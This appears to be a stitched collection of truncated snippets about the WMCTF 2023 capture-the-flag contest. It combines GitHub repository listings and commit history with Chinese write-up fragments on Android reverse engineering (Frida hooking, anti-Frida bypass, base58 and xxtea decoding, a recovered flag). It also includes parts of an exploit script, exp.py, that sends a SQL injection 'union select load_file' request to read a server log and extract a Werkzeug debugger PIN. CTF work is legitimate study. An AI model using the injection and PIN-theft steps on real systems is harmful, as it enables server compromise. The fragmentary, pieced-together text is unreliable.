https://github.com/wm-team/WMCTF-2023github.com/wm-team/WMCTF-2023 jit 题目信息 Userspace eBPF VM Attachment: Chinese mainland: 链接: https://pan.baidu.com/s/1mDIeT1NtkVIpUX8m2pERMg?pwd=w8sa 提取码: w8sa Other regions: https://drive.google.com/file/d/1xhUP-H1nTKKqjb24UbswKH-...
首先用jadx打开,没有加壳 关键的就这几个地方,可以看到校验的函数是native函数,使用IDA打开so 导出函数只有JNI_onload,应该是动态注册的函数,使用frida hook 下注册的地址,之前学VMP壳的时候正好有个hook的脚本就直接拿来用了,但是hook后闪退,有frida检测,之前瞟了个一把嗦的反反frida脚本,放一起 functionLog(conte...
YMQHsYFQu7kkTqu3Xmt1ruYUDLU8uaMoPpsfjqYF4TQMMKtw5KF7cpWrkWpk3 明显是经过了basexx的操作 而且不是先前的换表b64 在这里找到疑似base58的地方 然后在前面找到b58的table nY7TwcE41bzWvMQZXa8fyeprJoBdmhsu9DqVgxRPtFLKN65UH2CikG3SAj xxtea逆回去得到flag wmctf{YHNEBJx1WG0cKtZk8e2PNbxJa45WQF09} ezAn...
wm-team/WMCTF-2023Public NotificationsYou must be signed in to change notification settings Fork4 Star36 Files 735dee2 Blockchain Crypto Misc Pwn Reverse Steg Web AnyFileRead ezblog_exp exp_docker exp.py start_docker.sh 你的权限放着我来 ...
dockerfile exp.py exp.sh start_docker.sh 56 changes: 56 additions & 0 deletions56Web/ezblog_exp/exp.py Original file line numberDiff line numberDiff line change @@ -0,0 +1,56 @@ importrequests,re importtime #题目地址 SERVER_ADDR="http://192.168.1.1:80" ...
## WMCTF 2023 Writeup 人刚分手,打个 CTF 拿 3 个二血,1 个三血,本来还挺高兴的,只有一血有奖励。好好好,都欺负我是吧。 ### ezAndroid userName是一个类似RC4的东西,直接复制出来跑,password是变表 AES,在 .init_array 修改
Commits BreadcrumbsHistory for WMCTF-2023 Web ezblog_exp start_docker.sh on735dee2 User selector All users DatepickerAll time Commit History Commits on Aug 22, 2023 add WEB-ezblog exp Chara WhitecommittedAug 22, 2023 f675f38 End of commit history for this file...
get(SERVER_ADDR + "/post/11111111%20union%20select%201,load_file('%2fhome%2fezblog%2f.pm2%2flogs%2fmain-out.log'),1/edit") data = resp.text # print(data) # Debugger PIN: bb363206-4e17-41d0-92c0-4626f451b908\n" PIN_RE = r'Debugger PIN: ([a-f0-9-]+)' pin = re....